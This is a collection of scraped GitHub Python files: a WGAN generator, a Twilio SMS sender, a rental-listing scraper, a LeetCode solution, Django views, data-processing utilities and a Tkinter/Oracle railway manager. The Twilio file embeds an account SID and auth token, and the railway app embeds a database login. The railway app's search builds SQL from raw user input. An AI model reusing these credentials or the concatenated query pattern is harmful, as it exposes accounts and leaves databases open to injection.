use_bias=False)(x)\n        x = BatchNormalization()(x)\n        x = LeakyReLU(0.02)(x)\n        x = UpSampling2D()(x)\n        # Output size = 8x8x512\n\n        # Input size = 8x8x512\n        x = Conv2D(filters=256, kernel_size=5, padding='same', use_bias=False)(x)\n        x = BatchNormalization()(x)\n        x = LeakyReLU(0.02)(x)\n        x = UpSampling2D()(x)\n        # Output size = 16x16x256\n\n        # Input size = 16x16x512\n        x = Conv2D(filters=256, kernel_size=5, padding='same', use_bias=False)(x)\n        x = BatchNormalization()(x)\n        x = LeakyReLU(0.02)(x)\n        # Output size = 16x16x256\n\n        # Input size = 16x16x256\n        x = Conv2D(filters=128, kernel_size=5, padding='same', use_bias=False)(x)\n        x = BatchNormalization()(x)\n        x = LeakyReLU(0.02)(x)\n        x = UpSampling2D()(x)\n\n        # Output size = 32x32x128\n\n        # Input size = 32x32x256\n        x = Conv2D(filters=128, kernel_size=5, padding='same', use_bias=False)(x)\n        x = BatchNormalization()(x)\n        x = LeakyReLU(0.02)(x)\n        x = UpSampling2D()(x)\n        # Output size = 64x64x128\n\n        # Input size = 64x64x256\n        x = Conv2D(filters=128, kernel_size=5, padding='same', use_bias=False)(x)\n        x = BatchNormalization()(x)\n        x = LeakyReLU(0.02)(x)\n        x = UpSampling2D()(x)\n        # Output size = 128x128x128\n\n        # Input size = 128x128x256\n        x = Conv2D(filters=128, kernel_size=5, padding='same', use_bias=False)(x)\n        x = BatchNormalization()(x)\n        x = LeakyReLU(0.02)(x)\n        # Output size = 128x128x128\n\n\n        # Input size = 128x128x128\n        x = Conv2D(filters=3, kernel_size=5, padding='same', use_bias=False)(x)\n        out = Activation('tanh')(x)\n        # Output size = 32x32x3\n\n        net = Model(inputs=inputs, outputs=out)\n        \n        return net\n        ","repo_name":"Zachdr1/WGAN","sub_path":"WGAN.py","file_name":"WGAN.py","file_ext":"py","file_size_in_byte":8354,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"22076195506","text":"from twilio.rest import Client\n\n\nclass Feedbackhandler:\n    phone_number = None\n    message = None\n\n    def __init__(self,phone_number, message):\n        self.phone_number = phone_number\n        self.message = message\n    \n    \n\n    def send_feedback(self):\n        account_sid = \"AC53487abebac2e0f385e39fb19715ee42\"\n        auth_token = \"40268a768d854bbde75860da4dff8138\"\n        client = Client(account_sid, auth_token)\n        print('------------3333333333333')\n        message = client.messages.create(\n            body= f'Your Query has been reqistered successfully.',\n            from_=\"+12545664631\",\n            to=self.phone_number\n        )\n        print(message.sid)","repo_name":"Divyanshthakur17/truevalue","sub_path":"base/helpus.py","file_name":"helpus.py","file_ext":"py","file_size_in_byte":677,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"10138169281","text":"import requests\nimport sqlite3\nfrom bs4 import BeautifulSoup\n\n\ndef get_card_info(card):\n    soup = BeautifulSoup(str(card), 'html.parser')\n\n    try:\n        link = soup.find(class_='_93444fe79c--media--9P6wN').get('href')\n        metro = soup.find(class_='_93444fe79c--container--w7txv').find_all('div')[-2].text.strip()\n        price = ''.join(soup.find(class_='_93444fe79c--color_black_100--kPHhJ _93444fe79c--lineHeight_28px--whmWV '\n                                         '_93444fe79c--fontWeight_bold--ePDnv _93444fe79c--fontSize_22px--viEqA '\n                                         '_93444fe79c--display_block--pDAEx _93444fe79c--text--g9xAG '\n                                         '_93444fe79c--text_letterSpacing__normal--xbqP6').text.split()[:2])\n        photo = [photo.get('src') for photo in soup.find_all(class_='_93444fe79c--container--KIwW4')]\n        return {'link': link, 'metro': metro, 'price': price, 'photo': photo}\n    except AttributeError:\n        return None\n\n\ndef get_cards(response):\n    soup = BeautifulSoup(response.text, 'html.parser')\n    links = []\n    metro_stations = []\n    prices = []\n    photos = []\n\n    cards = soup.find_all(class_='_93444fe79c--card--ibP42 _93444fe79c--wide--gEKNN')\n    for card in cards:\n        info = get_card_info(card)\n        if info is not None:\n            links.append(info['link'])\n            metro_stations.append(info['metro'])\n            prices.append(info['price'])\n            photos.append(info['photo'])\n        else:\n            continue\n\n    return {'link': links, 'metro': metro_stations, 'price': prices, 'photo': photos}\n\n\ndef process_all_pages(start_url):\n    url = start_url\n    links = []\n    metro_stations = []\n    prices = []\n    photos = []\n    while True:\n        response = requests.get(url)\n        cards = get_cards(response)\n        links.extend(cards['link'])\n        metro_stations.extend(cards['metro'])\n        prices.extend(cards['price'])\n        photos.extend(cards['photo'])\n\n        soup = BeautifulSoup(response.text, 'html.parser')\n        next_page_button = soup.find_all(class_='_93444fe79c--button--Cp1dl _93444fe79c--link-button--Pewgf '\n                                                '_93444fe79c--M--T3GjF _93444fe79c--button--dh5GL')[-1]\n\n        if 'Дальше' in next_page_button.text and next_page_button.get('disabled') is None:\n            url = next_page_button.get('href')\n            if 'spb.cian.ru' not in url:\n                url = 'https://spb.cian.ru' + url\n        else:\n            return {'link': links, 'metro': metro_stations, 'price': prices, 'photo': photos}\n\n\ndef get_image_from_url(url):\n    response = requests.get(url)\n    return response.content\n\n\nstart_url = \"https://spb.cian.ru/cat.php?deal_type=rent&engine_version=2&offer_type=flat&region=2&room1=1&room2=1\" \\\n            \"&room3=1&room4=1&room5=1&room6=1&room7=1&room9=1&type=4\"\ndata = process_all_pages(start_url)\n\nconn = sqlite3.connect('rentals.db')\ncursor = conn.cursor()\ncursor.execute(\"\"\"\n    CREATE TABLE rentals (\n        id INTEGER PRIMARY KEY,\n        link TEXT,\n        metro TEXT,\n        price TEXT,\n        photo BLOB\n    )\n\"\"\")\nconn.commit()\n\nfor link, metro, price, photo_urls in zip(data['link'], data['metro'], data['price'], data['photo']):\n    for photo_url in photo_urls:\n        photo = get_image_from_url(photo_url)\n        cursor.execute(\"INSERT INTO rentals VALUES (?, ?, ?, ?)\", (link, metro, price, photo))\nconn.commit()\n\nconn.close()\n","repo_name":"DannyTheFlower/flattery","sub_path":"scraping.py","file_name":"scraping.py","file_ext":"py","file_size_in_byte":3465,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"37300323064","text":"class Solution:\n    def isPossible(self, i, sides, matchsticks, n, total):\n        if i >= n:\n            return len(set(sides)) == 1\n        key = tuple(sorted(sides) + [i])\n        if key in self.cache:\n            return self.cache[key]\n        for j in range(4):\n            if 4 * (sides[j] + matchsticks[i]) > total:\n                continue\n            sides[j] += matchsticks[i]\n            curr = self.isPossible(i + 1, sides, matchsticks, n, total)\n            if curr:\n                self.cache[key] = True\n                return True\n            else:\n                sides[j] -= matchsticks[i]\n        self.cache[key] = False\n        return False\n    \n    def makesquare(self, matchsticks: List[int]) -> bool:\n        matchsticks.sort(reverse = True)\n        n = len(matchsticks)\n        total = sum(matchsticks)\n        self.cache = {}\n        sides = [0, 0, 0, 0]\n        return self.isPossible(0, sides, matchsticks, n, total)","repo_name":"theabbie/leetcode","sub_path":"matchsticks-to-square.py","file_name":"matchsticks-to-square.py","file_ext":"py","file_size_in_byte":943,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"18"}
{"seq_id":"26479846554","text":"from core.models import Member\nfrom core.models import Payment\nfrom django.shortcuts import get_object_or_404, render\nfrom django.views import generic\nfrom django.urls import reverse\nfrom django.db.models import Q\n\nfrom .forms import PayForm, SignupForm\n\n\nclass IndexView(generic.ListView):\n    template_name = 'index.html'\n    context_object_name = 'member_list'\n\n    def get_queryset(self):\n        return Member.objects.order_by('-joined_on')[:5]\n\nclass DetailView(generic.DetailView):\n    model = Member\n    template_name = 'member.html'\n\nclass ResultsView(generic.ListView):\n    model = Member\n    template_name = 'members.html'\n    context_object_name = 'member_list'\n    paginate_by = 10\n\n    def get_queryset(self):\n        try:\n            search = self.request.GET.get('search')\n        except:\n            search = None\n\n        if search:\n            object_list = self.model.objects.filter(\n                Q(email__icontains = search) |\n                Q(first_name__icontains = search)\n            )\n        else:\n            object_list = self.model.objects.all()\n\n        return object_list\n\ndef signup(request):\n    errors = \"\"\n    if request.method == 'POST':\n        form = SignupForm(request.POST)\n        if form.is_valid():\n\n            # validate existing member\n            member_email = form.cleaned_data['member_email']\n            member_fname = form.cleaned_data['member_fname']\n            member_lname = form.cleaned_data['member_lname']\n            plan         = form.cleaned_data['plan']\n\n            memberValidate = Member.objects.filter(email=member_email)\n\n            if memberValidate:\n                errors = \"Email already registered.\"\n            else:\n                member = Member(\n                    email      = member_email,\n                    first_name = member_fname,\n                    last_name  = member_lname,\n                    plan       = plan,\n                )\n                member.save()\n\n                return render(request, 'signup.html', {'message': 'Welcome!'})\n    else:\n        form = SignupForm()\n\n    return render(request, 'signup.html', {'form': form, 'errors': errors})\n\n# Register a new payment (no payment gateway implemented, it's just a simple POST)\ndef pay(request):\n    errors = \"\"\n    if request.method == 'POST':\n        form = PayForm(request.POST)\n        if form.is_valid():\n\n            # validate existing member\n            member_email   = form.cleaned_data['member_email']\n            payment_amount = form.cleaned_data['payment_amount']\n            member         = Member.objects.filter(email=member_email)\n\n            if not member:\n                errors = \"Invalid Member.\"\n            else:\n                payment = Payment(member=member[0], amount=payment_amount, )\n                payment.save()\n\n                return render(request, 'pay.html', {'message': 'Payment added!'})\n    else:\n        form = PayForm()\n\n    return render(request, 'pay.html', {'form': form, 'errors': errors})\n","repo_name":"matiasjg/member-portal","sub_path":"web/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2998,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"12508537930","text":"from skimage import io, data, color\nimport numpy as np\n\nimg = io.imread('/Users/lee/Desktop/liwenpeng.jpeg', as_gray=True)\nimg1 = data.astronaut()\n\nrows, cols = img.shape\n\nlable1 = np.zeros((rows, cols))\n\nfor x in range(rows):\n    for y in range(cols):\n        if img[x, y] < 0.4:\n            lable1[x, y] = 0\n        elif img[x, y] < 0.75:\n            lable1[x, y] = 1\n        else:\n            lable1[x, y] = 2\n\nend = color.label2rgb(lable1)\n\nio.imshow(end)\nio.show()","repo_name":"GreatBoyLi/PythonProject","sub_path":"ImageProcess/test3.py","file_name":"test3.py","file_ext":"py","file_size_in_byte":469,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"25439623561","text":"#!/usr/bin/env python\n# encoding: utf-8\n\nimport pandas as pd\n\n\nclass User_doc:\n    def __init__(self, appoint_file_name, car_file_name, features, user_doc_file_name):\n        self.appoint_file_name = appoint_file_name\n        self.car_file_name = car_file_name\n        self.features = features\n        self.user_doc_file_name = user_doc_file_name\n\n    def readFile(self, file_name):\n        fileContent = pd.read_csv(file_name, sep = '\\t')\n        return fileContent\n\n    def appoint_no_dealer(self, appoint):\n        appoint = appoint[appoint['dealer'] == 0]\n        return appoint\n\n    def new_appoint(self, appoint):\n        columns = ['clue_id', 'user_id']\n        temp_appoint = appoint[columns].dropna()\n        return temp_appoint\n\n    def generate_user_doc(self, appoint, car):\n        for feature in self.features:\n            appoint = appoint.join(car.set_index('clue_id')[feature], on = 'clue_id').dropna()\n        appoint[self.features] = appoint[self.features].astype(int).astype(str)\n        for feature in self.features:\n            appoint[feature] = feature + appoint[feature]\n\n        groups = appoint.groupby('user_id', sort = False)\n        wfile = open(self.user_doc_file_name, 'w')\n        for idx, g in groups:\n            for feature in self.features:\n                ls = list(g[feature])\n                for word in ls:\n                    wfile.write(word + ' ')\n            wfile.write('\\n')\n\n    def run(self):\n        car = self.readFile(self.car_file_name)\n        appoint = self.readFile(self.appoint_file_name)\n        apt_no_dl = self.appoint_no_dealer(appoint)\n        na = self.new_appoint(apt_no_dl)\n        self.generate_user_doc(na, car)\n\n\nif __name__ ==\"__main__\":\n    car_file = '../../data/hl_car.tsv'\n    appoint_file = '../../data/hl_appoint.tsv'\n    features = ['city_id', 'source_level', 'road_haul', 'transfer_num', 'guobie', 'minor_category_id', 'tag_id', 'car_year', 'auto_type', 'carriages', 'seats', 'fuel_type', 'gearbox', 'air_displacement', 'emission_standard', 'car_color', 'clue_source_type', 'plate_city_id', 'evaluate_score']\n    user_doc_file = '../../data/word2vec/user_doc.txt'\n    ud = User_doc(appoint_file, car_file, features, user_doc_file)\n    ud.run()\n\n\n\n'''\ncar = pd.read_csv('../../data/hl_car.tsv', sep = '\\t')\nappoint = pd.read_csv('../../data/hl_appoint.tsv', sep = '\\t')\nappoint = appoint[appoint.dealer == 0]\ndoc = appoint[['clue_id']]\nfeatures = ['city_id', 'source_level', 'road_haul', 'transfer_num', 'guobie', 'minor_category_id', 'tag_id', 'car_year', 'auto_type', 'carriages', 'seats', 'fuel_type', 'gearbox', 'air_displacement', 'emission_standard', 'car_color', 'clue_source_type', 'plate_city_id', 'evaluate_score']\n\nfor feature in features:\n    doc = doc.join(car.set_index('clue_id')[feature], on = 'clue_id')\n\ndoc = doc.astype(str)\nfor feature in features:\n    doc[feature] = doc[feature] + feature\n\nprint len(doc)\nprint doc.clue_id.nunique()\n'''\n\n","repo_name":"aiyuanddsg/car_car_similarity","sub_path":"word2vec/generate_input.py","file_name":"generate_input.py","file_ext":"py","file_size_in_byte":2935,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"24994363925","text":"import math\n\nimport pandas as pd\nimport scipy.integrate as integrate\nfrom scipy import stats\n\n\nclass SupportDistribution:\n    __pdf: any\n    cdf_steps: dict\n\n    def __init__(self, path, otype_schemata):\n        self.__initialized = False\n        self.path = path\n        self.otype_schemata = otype_schemata\n        self.__make_prior_distribution()\n        self.__initialized = True\n\n    def __make_prior_distribution(self):\n        items = [(card, freq) for card, freq in self.otype_schemata.items()]\n        card_frequencies = pd.DataFrame(items, columns=[\"cardinality\", \"frequency\"])\n        total = sum(card_frequencies[\"frequency\"])\n        mean = sum(card_frequencies[\"cardinality\"] * card_frequencies[\"frequency\"]) / total\n        card_frequencies[\"p\"] = card_frequencies[\"frequency\"] / total\n        variance = sum((card_frequencies[\"cardinality\"] - mean).pow(2) * card_frequencies[\"p\"])\n        stdev = math.sqrt(variance)\n        self.variance = variance\n        if variance < 0.1:\n            self.support_steps = self.__make_support_steps_for_single_value(mean)\n            return\n        self.support_steps = self.__make_support_steps_by_schema_frequencies(card_frequencies)\n        # pdf = self.__get_pdf(mean, variance)\n        # self.support_steps = self.__make_support_steps(pdf, mean, stdev, schema_frequencies)\n\n    def __get_pdf(self, mean, variance):\n        factor = 1 / (math.sqrt(2 * math.pi * variance))\n        return lambda x: factor * math.exp(-math.pow(x - mean, 2) / (2 * variance))\n\n    def __make_support_steps(self, pdf, mean, schema_frequencies):\n        steps = [i for i in range(round(mean))]\n        # probability as integral over pdf\n        prob_fun = lambda step: integrate.quad(pdf, step - 0.5, step + 0.5)[0]\n        probs = []\n        for step in steps:\n            probs.append(prob_fun(step))\n        # go on computing probabilities until threshold met\n        i = steps[-1]\n        while probs[i] > 0.00001:\n            i = i + 1\n            p = prob_fun(i)\n            probs.append(p)\n            steps.append(i)\n        if len(schema_frequencies[schema_frequencies[\"schema\"] == 0]) == 0:\n            probs[0] = 0.0\n        probs = list(map(lambda prob: prob / sum(probs), probs))\n        support_product = 1\n        support_steps = [1.0]\n        for i in steps[1:]:\n            pi_1 = probs[i - 1]\n            support_i = 1 - pi_1 / support_product\n            support_product = support_i * support_product\n            support_steps.append(support_i)\n        return support_steps\n\n    def __make_support_steps_by_schema_frequencies(self, schema_frequencies):\n        # index 0: the support of having 0 objects is 1\n        schemata = schema_frequencies[\"cardinality\"].values\n        ps = [0.0] * (max(schemata) + 1)\n        support_steps = [1.0] + [0] * (max(schemata) + 1)\n        support_product = 1\n        xs = []\n        for i in [i for i in range(len(ps))]:\n            x = schema_frequencies[schema_frequencies[\"cardinality\"] == i]\n            if len(x) == 0:\n                pi = 0\n            else:\n                pi = float(x[\"p\"])\n            ps[i] = pi\n            support_i1 = 1 - pi / support_product\n            support_product = support_i1 * support_product\n            support_steps[i + 1] = support_i1\n            if support_i1 < 0.00001:\n                break\n        return support_steps\n\n    def __make_support_steps_for_single_value(self, mean):\n        support_steps = {i: 1 for i in range(round(mean - 0.1) + 1)}\n        support_steps[round(mean) + 1] = 0\n        return support_steps\n\n    def has_variance_below(self, threshold):\n        return self.variance < threshold\n\n    def get_support(self, x):\n        if x >= len(self.support_steps):\n            return 0.0\n        return self.support_steps[x]\n","repo_name":"beneknopp/OCPS","sub_path":"backend/utils/support_distribution.py","file_name":"support_distribution.py","file_ext":"py","file_size_in_byte":3778,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"2974212297","text":"# -*- coding: utf-8 -*-\n\nimport csv\nfrom carro import Carro\nfrom pessoa import Pessoa\n\ndef ler_arquivo(path, base_classe):\n\t\"\"\"\n\tRetorna uma lista de objectos da classe passada como parâmetro\n\tcom os dados do arquivo especificado com o path\n\n\tParâmetros\n\t----------\n\tpath : str\n\t\tCaminho até o arquivo que será usado com fonte dos dados\n\tclasse : type\n\t\tClasse que será usada para criar instâncias\n\n\tRetorna\n\t-------\n\tlist\n\t    Retorna uma lista com instâncias da classe passada como \n\t    parâmetro\n\n\t\"\"\"\n\n\tfilename = 'files/' + path\n\n\tobj_list = []\n\n\twith open(filename) as csv_file:\n\t\tfile = csv.reader(csv_file)\n\n\t\t# parametros do construtor\n\t\tline = next(file)\n\n\t\tfor obj in file:\n\n\t\t\tparams = dict(zip(line, obj))\n\n\t\t\t# remove espaços em brancos nas chaves e valores\n\t\t\tparams = {\n\t\t\t\tk.strip() : v.strip() for k,v in params.items()\n\t\t\t}\n\n\t\t\tobj_list.append(base_classe(**params))\n\n\treturn obj_list\n\n\ndef escreve_arquivo(path, obj_list):\n\t\"\"\"\n\tCria um arquivo csv com o os atributos dos objectos contidos \n\tna lista.\n\n\tParâmetros\n\t----------\n\tpath : str\n\t\tCaminho onde o arquivo que será criado\n\tobj_list : list\n\t\tLista com objetos que serão escritos no arquivo\n\t\"\"\"\n\n\tif not obj_list:\n\t\treturn\n\n\tfilename = 'files/' + path\n\n\twith open(filename, mode='w') as file:\n\t\twriter = csv.writer(file, delimiter=',')\n\n\t\t# Parâmetros da classe\n\t\tparams = obj_list[0].__dict__\n\n\t\t# Remover o underline dos atributos da classe\n\t\tparams = { k[1:] : v for k,v in params.items() }\n\n\t\tdata_description = list(params.keys())\n\t\twriter.writerow(data_description)\n\n\t\tfor obj in obj_list:\n\t\t\tattr = obj.__dict__\n\t\t\tl = list(attr.values())\n\t\t\twriter.writerow(l)\n\nif __name__ == '__main__':\n\tl = ler_arquivo('carros.csv', Carro)\n\tescreve_arquivo('carros.csv', l)\n\n\tl = ler_arquivo('pessoas.csv', Pessoa)\n\tescreve_arquivo('pessoas.csv', l)","repo_name":"durvalcarvalho/my-college-notebook","sub_path":"sistemas-de-banco-de-dados-1/aula1exer1_DurvalCarvalho_16-0005191/arquivos.py","file_name":"arquivos.py","file_ext":"py","file_size_in_byte":1834,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
{"seq_id":"234328939","text":"from tkinter import *\nfrom tkinter import ttk, messagebox\nimport cx_Oracle\nclass Manager:\n    def __init__(self):\n        self.root = root\n        self.root.title(\"RAILWAY MANAGEMENT SYSTEM\")\n        self.root.geometry(\"1350x700+0+0\")\n        self.root.config(bg=\"#021e2f\")\n\n        title = Label(self.root, text=\"RAILWAY MANAGEMENT SYSTEM\", bd=10, relief=GROOVE, font=(\"times new roman\",40,\"bold\"), bg=\"#021e2f\", fg=\"red\")#fg=textcolor\n        title.pack(side=TOP, fill=X)\n\n        #------------ALL VARIABLES-------------\n        self.From_var = StringVar()\n        self.To_var = StringVar()\n        self.TrainNo_var = StringVar()\n        self.St_Code_var = StringVar()\n        self.A_Time_var = StringVar()\n        self.D_Time_var = StringVar()\n\n        self.search_by = StringVar()\n        self.search_txt = StringVar()\n\n\n        #------------MANAGER FRAME-------------\n        Manage_Frame = Frame(self.root,bd=4,relief=RIDGE,bg=\"crimson\")\n        Manage_Frame.place(x=20,y=100,width=475,height=580)\n\n        m_title = Label(Manage_Frame,text=\"Manage Train Routes\",bg=\"crimson\",fg=\"white\",font=(\"times new roman\",30,\"bold\"))\n        m_title.grid(row=0,columnspan=2,pady=20)\n        #------From\n        lbl_from = Label(Manage_Frame, text=\"From\", bg=\"crimson\", fg=\"white\",font=(\"times new roman\", 20, \"bold\"))\n        lbl_from.grid(row=1, column=0, pady=10, padx=20, sticky=\"W\")\n\n        txt_from = Entry(Manage_Frame,textvariable=self.From_var,font=(\"times new roman\", 20, \"bold\"),bd=5,relief=GROOVE)\n        txt_from.grid(row=1, column=1, pady=10, sticky=\"W\")\n        #-------To\n        lbl_to = Label(Manage_Frame, text=\"To\", bg=\"crimson\", fg=\"white\",font=(\"times new roman\", 20, \"bold\"))\n        lbl_to.grid(row=2, column=0, pady=10, padx=20, sticky=\"W\")\n\n        txt_to = Entry(Manage_Frame,textvariable=self.To_var,font=(\"times new roman\", 20, \"bold\"),bd=5,relief=GROOVE)\n        txt_to.grid(row=2, column=1, pady=10, sticky=\"W\")\n        #-------TrainNo\n        lbl_train_no = Label(Manage_Frame, text=\"TrainNo.  \", bg=\"crimson\", fg=\"white\",font=(\"times new roman\", 20, \"bold\"))\n        lbl_train_no.grid(row=3, column=0, pady=10, padx=20, sticky=\"W\")\n\n        txt_train_no = Entry(Manage_Frame,textvariable=self.TrainNo_var,font=(\"times new roman\", 20, \"bold\"),bd=5,relief=GROOVE)\n        txt_train_no.grid(row=3, column=1, pady=10, sticky=\"W\")\n        #-------St-Code\n        lbl_station_code = Label(Manage_Frame, text=\"St-Code\", bg=\"crimson\", fg=\"white\",font=(\"times new roman\", 20, \"bold\"))\n        lbl_station_code.grid(row=4, column=0, pady=10, padx=20, sticky=\"W\")\n\n        txt_station_code = Entry(Manage_Frame,textvariable=self.St_Code_var,font=(\"times new roman\", 20, \"bold\"),bd=5,relief=GROOVE)\n        txt_station_code.grid(row=4, column=1, pady=10, sticky=\"W\")\n        #--------A-Time\n        lbl_arrivaltime = Label(Manage_Frame, text=\"A-Time\", bg=\"crimson\", fg=\"white\",font=(\"times new roman\", 20, \"bold\"))\n        lbl_arrivaltime.grid(row=5, column=0, pady=10, padx=20, sticky=\"W\")\n\n        txt_arrivaltime = Entry(Manage_Frame,textvariable=self.A_Time_var,font=(\"times new roman\", 20, \"bold\"),bd=5,relief=GROOVE)\n        txt_arrivaltime.grid(row=5, column=1, pady=10, sticky=\"W\")\n        #--------D-Time\n        lbl_departuretime = Label(Manage_Frame, text=\"D-Time\", bg=\"crimson\", fg=\"white\",font=(\"times new roman\", 20, \"bold\"))\n        lbl_departuretime.grid(row=6, column=0, pady=10, padx=20, sticky=\"W\")\n\n        txt_departuretime = Entry(Manage_Frame,textvariable=self.D_Time_var,font=(\"times new roman\", 20, \"bold\"),bd=5,relief=GROOVE)\n        txt_departuretime.grid(row=6, column=1, pady=10, sticky=\"W\")\n\n        #-------BUTTON FRAME----------------\n        btn_Frame = Frame(Manage_Frame,bd=4,relief=RIDGE,bg=\"crimson\")\n        btn_Frame.place(x=30,y=500,width=410)\n\n        Addbtn = Button(btn_Frame,text=\"Add\",width=10,command=self.add_train_info).grid(row=0,column=0,padx=10,pady=10)\n        updatebtn = Button(btn_Frame,text=\"Update\",width=10,command=self.update_data).grid(row=0,column=1,padx=10,pady=10)\n        deletebtn = Button(btn_Frame,text=\"Delete\",width=10,command=self.delete_data).grid(row=0,column=2,padx=10,pady=10)\n        clearbtn = Button(btn_Frame,text=\"Clear\",width=10,command=self.clear).grid(row=0,column=3,padx=10,pady=10)\n\n\n        # ------------DETAIL FRAME-------------\n        Detail_Frame = Frame(self.root, bd=4, relief=RIDGE, bg=\"crimson\")\n        Detail_Frame.place(x=500, y=100, width=770, height=580)\n\n        lbl_search = Label(Detail_Frame, text=\"Search By\", bg=\"crimson\", fg=\"white\", font=(\"times new roman\", 20, \"bold\"))\n        lbl_search.grid(row=0, column=0, pady=10, padx=20, sticky=\"W\")\n\n        combo_search = ttk.Combobox(Detail_Frame,textvariable=self.search_by,width=15,font=(\"times new roman\",13,\"bold\"),state=\"readonly\")\n        combo_search['values'] = ('Train_No' , 'Station_Code')\n        combo_search.grid(row=0,column=1,padx=20,pady=10)\n\n        txt_search = Entry(Detail_Frame,textvariable=self.search_txt, font=(\"times new roman\", 10, \"bold\"), bd=5, relief=GROOVE)\n        txt_search.grid(row=0, column=2, pady=10 ,padx=20 , sticky=\"w\")\n\n        searchbtn = Button(Detail_Frame, text=\"Search\", width=10,pady=5,command=self.search_data).grid(row=0, column=3, padx=10, pady=10)\n        showallbtn = Button(Detail_Frame, text=\"Show All\", width=10,pady=5,command=self.fetch_data_to_searchby).grid(row=0, column=4, padx=10, pady=10)\n\n        #---------Table Frame--------------\n        Table_Frame = Frame(Detail_Frame, bd=4, relief=RIDGE, bg=\"crimson\")\n        Table_Frame.place(x=10, y=70, width=745, height=500)\n\n        scroll_x = Scrollbar(Table_Frame,orient=HORIZONTAL)\n        scroll_y = Scrollbar(Table_Frame,orient=VERTICAL)\n        self.Train_table = ttk.Treeview(Table_Frame,columns=(\"From\",\"To\",\"TrainNo\",\"St-Code\",\"A-Time\",\"D-Time\"),xscrollcommand=scroll_x.set,yscrollcommand=scroll_y.set)\n        scroll_x.pack(side=BOTTOM,fill=X)\n        scroll_y.pack(side=RIGHT,fill=Y)\n        scroll_x.config(command=self.Train_table.xview)\n        scroll_y.config(command=self.Train_table.yview)\n        self.Train_table.heading(\"From\",text=\"From\")\n        self.Train_table.heading(\"To\",text=\"To\")\n        self.Train_table.heading(\"TrainNo\",text=\"TrainNo\")\n        self.Train_table.heading(\"St-Code\",text=\"St-Code\")\n        self.Train_table.heading(\"A-Time\",text=\"A-Time\")\n        self.Train_table.heading(\"D-Time\",text=\"D-Time\")\n        self.Train_table['show'] = 'headings'\n        # Train_table.column(\"From\",width=50) ---- IF YOU WANT TO ADJUST THE WIDTH\n        self.Train_table.pack(fill=BOTH,expand=1)\n        self.Train_table.bind(\"<ButtonRelease-1>\", self.get_data_via_cursor) #event\n        self.fetch_data_to_searchby()\n\n    def add_train_info(self): #had to give two arguments\n        if self.From_var.get() == \"\" or self.To_var.get() == \"\" or self.TrainNo_var.get() == \"\" or self.St_Code_var.get() == \"\" or self.A_Time_var.get == \"\" or self.D_Time_var.get() == \"\":\n            messagebox.showerror(\"Error\",\"All fields are required\")\n        else:\n            con = cx_Oracle.connect(\"railway/railway007\")\n            cur = con .cursor()\n            cur.execute(\"insert into manager values (:1,:2,:3,:4,:5,:6)\",\n                        (\n                            self.From_var.get(),\n                            self.To_var.get(),\n                            self.TrainNo_var.get(),\n                            self.St_Code_var.get(),\n                            self.A_Time_var.get(),\n                            self.D_Time_var.get()\n                        ))\n            con.commit()\n            self.fetch_data_to_searchby()\n            self.clear()\n            con.close()\n            messagebox.showinfo(\"Success\",\"Record has been inserted\")\n\n    #To show data from Train_table to horizontal section view ----\n    def fetch_data_to_searchby(self):\n        con = cx_Oracle.connect(\"railway/railway007\")\n        cur = con.cursor()\n        cur.execute(\"select * from manager\")\n        rows = cur.fetchall()\n        if len(rows) != 0:\n            self.Train_table.delete(*self.Train_table.get_children())\n            for row in rows:\n                self.Train_table.insert('',END,values=row)\n            con.commit()\n        con.close()\n\n    def clear(self):\n        self.From_var.set(\"\")\n        self.To_var.set(\"\")\n        self.TrainNo_var.set(\"\")\n        self.St_Code_var.set(\"\")\n        self.A_Time_var.set(\"\")\n        self.D_Time_var.set(\"\")\n\n    #TO get data from horizontal to Train_table\n    def get_data_via_cursor(self,event):#takes 1 positional argument\n        cursor_row = self.Train_table.focus()\n        contents = self.Train_table.item(cursor_row)\n        row = contents['values'] #will return list\n        self.From_var.set(row[0])\n        self.To_var.set(row[1])\n        self.TrainNo_var.set(row[2])\n        self.St_Code_var.set(row[3])\n        self.A_Time_var.set(row[4])\n        self.D_Time_var.set(row[5])\n\n    def update_data(self):\n        con = cx_Oracle.connect(\"railway/railway007\")\n        cur = con.cursor()\n        fr = self.From_var.get()\n        to = self.To_var.get()\n        tn = self.TrainNo_var.get()\n        sc = self.St_Code_var.get()\n        at = self.A_Time_var.get()\n        dt = self.D_Time_var.get()\n        cur.execute(\"update manager set From_ = :1, To_ = :2, Station_code = :3, Arrival_time = :4, Departure_time = :5 where Train_no = :6\",\n                    {\n                      '1' : fr,\n                      '2' : to,\n                      '3' : sc,\n                      '4' : at,\n                      '5' : dt,\n                      '6' : tn\n                    })\n        con.commit()\n        self.fetch_data_to_searchby()\n        self.clear()\n        con.close()\n\n    def delete_data(self):\n        con = cx_Oracle.connect(\"railway/railway007\")\n        cur = con.cursor()\n        tn = self.TrainNo_var.get()\n        cur.execute(\"delete from manager where Train_no = :1\", {'1' : tn})\n        con.commit()\n        self.fetch_data_to_searchby()\n        self.clear()\n        con.close()\n\n    def search_data(self):\n        con = cx_Oracle.connect(\"railway/railway007\")\n        cur = con.cursor()\n        cur.execute(\"select * from manager where \" + str(self.search_by.get()) + \" = \" + str(self.search_txt.get()))\n        rows = cur.fetchall()\n        if len(rows) != 0:\n            self.Train_table.delete(*self.Train_table.get_children())\n            for row in rows:\n                self.Train_table.insert('', END, values=row)\n            con.commit()\n        con.close()\n\nroot = Tk()\nob = Manager()\nroot.mainloop()","repo_name":"Arshnoor-Singh-Sohi/railway-management-tkinter","sub_path":"manager.py","file_name":"manager.py","file_ext":"py","file_size_in_byte":10579,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
